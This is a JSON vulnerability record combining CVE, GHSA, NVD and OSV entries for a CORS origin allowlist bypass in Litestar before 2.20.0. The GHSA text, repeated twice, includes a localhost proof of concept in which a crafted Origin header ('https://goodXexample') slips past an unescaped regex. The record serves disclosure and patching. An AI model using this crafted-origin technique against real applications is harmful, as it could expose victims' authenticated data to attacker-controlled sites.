{"id":"CVE-2026-25478","aliases":["EUVD-2026-6496","GHSA-2p2x-hpg8-cqp2","PYSEC-2026-2195"],"status":"published","title":"Litestar has a CORS origin allowlist bypass due to unescaped regex metacharacters in allowed origins","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin). This vulnerability is fixed in 2.20.0.","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00439,"percentile":0.38497,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-942"],"published":"2026-02-09T17:18:52Z","modified":"2026-10-28T02:30:50Z","fixes":[{"ecosystem":"PyPI","package":"litestar","fixed_in":["2.20.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"litestar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.0"},{"last_affected":"2.19.0"},{"fixed":"2.20.0"}]}],"versions":["2.19.0"]},{"source":"osv","ecosystem":"PyPI","package":"litestar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.0"},{"fixed":"2.20.0"}]}],"versions":["2.19.0"]},{"source":"osv","ecosystem":"PyPI","package":"litestar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.20.0"}]}],"versions":["1.0.0a0","2.0.0","2.0.0a3","2.0.0a4","2.0.0a5","2.0.0a6","2.0.0a7","2.0.0b1","2.0.0b2","2.0.0b3","2.0.0b4","2.0.0rc1","2.0.1","2.1.0","2.1.1","2.10.0","2.11.0","2.12.0","2.12.1","2.13.0","2.14.0","2.15.0","2.15.1","2.15.2","2.16.0","2.17.0","2.18.0","2.19.0","2.2.0","2.2.1","2.3.0","2.3.1","2.3.2","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.7.0","2.7.1","2.7.2","2.8.0","2.8.1","2.8.2","2.8.3","2.9.0","2.9.1"]}],"products":[{"vendor":"litestar","product":"litestar"},{"vendor":"litestar-org","product":"litestar"}],"references":[{"url":"https://github.com/litestar-org/litestar/security/advisories/GHSA-2p2x-hpg8-cqp2","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://github.com/litestar-org/litestar/commit/eb87703b309efcc0d1b087dcb12784e76b003d5a","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0","tags":["x_refsource_MISC","Release Notes","web","advisory"]},{"url":"https://github.com/litestar-org/litestar/releases/tag/v2.20.0","tags":["x_refsource_MISC","Release Notes","web","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25478","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2p2x-hpg8-cqp2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25478.json","tags":["advisory"]},{"url":"https://github.com/litestar-org/litestar","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25478","title":"Litestar has a CORS origin allowlist bypass due to unescaped regex metacharacters in allowed origins","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin). This vulnerability is fixed in 2.20.0.","status":"published","published":"2026-02-09T18:46:56.445Z","modified":"2026-02-10T16:01:16.807Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-942"],"updated_at":"2026-11-02T13:41:30.911526Z"}],"euvd":[{"id":"EUVD-2026-6496","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin). This vulnerability is fixed in 2.20.0.","status":"published","published":"2026-02-09T18:46:56Z","modified":"2026-02-10T16:01:16Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T19:48:42.087959Z"}],"ghsa":[{"id":"GHSA-2p2x-hpg8-cqp2","title":"Litestar's CORS origin allowlist has a bypass due to unescaped regex metacharacters in allowed origins","description":"### Summary\nCORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin\n\n### Details\nCORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).\n\n### PoC\nServer (poc_cors_server.py)\n\n```\nfrom litestar import Litestar, get\nfrom litestar.config.cors import CORSConfig\n\n@get(\"/c\")\nasync def c() -\u003e str:\n    return \"ok\"\n\ncors = CORSConfig(\n    allow_origins=[\"https://good.example\"],\n    allow_credentials=True,\n)\napp = Litestar([c], cors_config=cors)\n```\n\n`uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002`\n\nClient (poc_cors_client.py)\n\n```\nimport http.client\n\ndef req(origin: str) -\u003e tuple[int, str | None]:\n    c = http.client.HTTPConnection(\"127.0.0.1\", 8002, timeout=3)\n    c.request(\"GET\", \"/c\", headers={\"Origin\": origin, \"Host\": \"example.com\"})\n    r = c.getresponse()\n    r.read()\n    acao = r.getheader(\"Access-Control-Allow-Origin\")\n    c.close()\n    return r.status, acao\n\nprint(\"evil:\", req(\"https://evil.example\"))\nprint(\"bypass:\", req(\"https://goodXexample\")) \n```\n\nExpected (vulnerable behavior):\n\nOrigin: https://evil.example → no ACAO\nOrigin: https://goodXexample → ACAO: https://goodxexample/ (bypass)\n\n### Impact\nType: CORS policy bypass (cross-origin data exposure risk)\nWho is impacted: apps using CORS allowlists to restrict browser cross-origin reads. If allow_credentials=True and authenticated endpoints return sensitive data, an attacker-controlled site can potentially read responses in a victim’s browser session.","status":"published","published":"2026-02-09T17:18:52Z","modified":"2026-02-09T22:38:06Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-942"],"updated_at":"2026-11-02T14:39:23.728882Z"}],"nvd":[{"id":"CVE-2026-25478","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin). This vulnerability is fixed in 2.20.0.","status":"published","published":"2026-02-09T20:15:57.017Z","modified":"2026-06-17T10:24:42.22Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-942"],"updated_at":"2026-11-02T14:12:05.52517Z"}],"osv":[{"id":"CVE-2026-25478","title":"Litestar has a CORS origin allowlist bypass due to unescaped regex metacharacters in allowed origins","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin). This vulnerability is fixed in 2.20.0.","status":"published","published":"2026-02-09T18:46:56.445Z","modified":"2026-10-28T02:30:50.705180977Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-942"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-2p2x-hpg8-cqp2","title":"Litestar's CORS origin allowlist has a bypass due to unescaped regex metacharacters in allowed origins","description":"### Summary\nCORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin\n\n### Details\nCORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).\n\n### PoC\nServer (poc_cors_server.py)\n\n```\nfrom litestar import Litestar, get\nfrom litestar.config.cors import CORSConfig\n\n@get(\"/c\")\nasync def c() -\u003e str:\n    return \"ok\"\n\ncors = CORSConfig(\n    allow_origins=[\"https://good.example\"],\n    allow_credentials=True,\n)\napp = Litestar([c], cors_config=cors)\n```\n\n`uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002`\n\nClient (poc_cors_client.py)\n\n```\nimport http.client\n\ndef req(origin: str) -\u003e tuple[int, str | None]:\n    c = http.client.HTTPConnection(\"127.0.0.1\", 8002, timeout=3)\n    c.request(\"GET\", \"/c\", headers={\"Origin\": origin, \"Host\": \"example.com\"})\n    r = c.getresponse()\n    r.read()\n    acao = r.getheader(\"Access-Control-Allow-Origin\")\n    c.close()\n    return r.status, acao\n\nprint(\"evil:\", req(\"https://evil.example\"))\nprint(\"bypass:\", req(\"https://goodXexample\")) \n```\n\nExpected (vulnerable behavior):\n\nOrigin: https://evil.example → no ACAO\nOrigin: https://goodXexample → ACAO: https://goodxexample/ (bypass)\n\n### Impact\nType: CORS policy bypass (cross-origin data exposure risk)\nWho is impacted: apps using CORS allowlists to restrict browser cross-origin reads. If allow_credentials=True and authenticated endpoints return sensitive data, an attacker-controlled site can potentially read responses in a victim’s browser session.","status":"published","published":"2026-02-09T17:18:52Z","modified":"2026-07-13T07:26:21.863580114Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-942"],"updated_at":"2026-11-02T15:46:34.700741Z"},{"id":"PYSEC-2026-2195","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin). This vulnerability is fixed in 2.20.0.","status":"published","published":"2026-02-09T20:15:57.017Z","modified":"2026-07-13T07:15:26.781903108Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"}]}}
